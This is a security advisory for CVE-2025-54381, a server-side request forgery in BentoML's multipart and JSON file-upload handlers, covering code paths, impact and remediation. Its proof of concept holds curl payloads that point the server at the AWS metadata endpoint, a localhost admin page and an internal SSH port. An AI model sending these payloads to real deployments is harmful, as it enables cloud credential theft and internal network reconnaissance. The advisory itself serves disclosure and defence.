CVE-2025-54381: BentoML SSRF in File Upload Processing

Description#

There’s an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.

The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.

The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.

Source-Sink Analysis#

Source: User-controlled multipart form field values and JSON request bodies containing URLs

Call Chain - Path 1 (MultipartSerde - No Validation):

1. HTTP POST request with multipart form data to any BentoML endpoint with file-type input parameters
2. MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the request
3. form = await request.form() parses multipart data using Starlette
4. For file-type fields: value = [await self.ensure_file(v) for v in form.getlist(k)]
5. MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URL
6. Sink: resp = await client.get(obj) at line 193 - Direct HTTP request with zero validation

Call Chain - Path 2 (JSONSerde - Weak Validation):*

1. HTTP POST request with JSON body containing URL to endpoint with IORootModel + multipart_fields
2. JSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the request
3. body = await request.body() extracts request body
4. Condition check: if issubclass(cls, IORootModel) and cls.multipart_fields: at line 164
5. Weak validation: if is_http_url(url := body.decode(“utf-8”, “ignore”)): at line 165 (only checks scheme)
6. Sink: resp = await client.get(url) at line 168 - HTTP request after insufficient validation

Proof of Concept#

Create a BentoML service:

<code class="hljs language-python"><span class="hljs-keyword">from</span> pathlib <span class="hljs-keyword">import</span> Path
<span class="hljs-keyword">import</span> bentoml

<span class="hljs-meta">@bentoml.service  </span>
<span class="hljs-keyword">class</span> <span class="hljs-title class_">ImageProcessor</span>:
<span class="hljs-meta">    @bentoml.api</span>
    <span class="hljs-keyword">def</span> <span class="hljs-title function_">process_image</span>(<span class="hljs-params">self, image: Path</span>) -> <span class="hljs-built_in">str</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">f"Processed image: <span class="hljs-subst">{image}</span>"</span>

</code>

Deploy and exploit:

<code class="hljs language-bash"><span class="hljs-comment"># Start service (binds to 0.0.0.0:3000 by default)</span>
bentoml serve service.py:ImageProcessor

<span class="hljs-comment"># SSRF Attack 1 - Access AWS metadata  </span>
curl -X POST http://target:3000/process_image \
     -F <span class="hljs-string">'image=http://169.254.169.254/latest/meta-data/'</span>

<span class="hljs-comment"># SSRF Attack 2 - Internal service enumeration</span>
curl -X POST http://target:3000/process_image \  
     -F <span class="hljs-string">'image=http://localhost:8080/admin'</span>

<span class="hljs-comment"># SSRF Attack 3 - Internal network scanning</span>
curl -X POST http://target:3000/process_image \
     -F <span class="hljs-string">'image=http://10.0.0.1:22'</span>

</code>

Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.

Impact#

• Access AWS/GCP/Azure cloud metadata services for credential theft
• Enumerate and interact with internal HTTP services and APIs
• Bypass firewall restrictions to reach internal network resources
• Perform network reconnaissance from the server’s perspective
• Retrieve sensitive information disclosed in HTTP response data
• Potential for internal service exploitation through crafted requests

Remediation#

Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.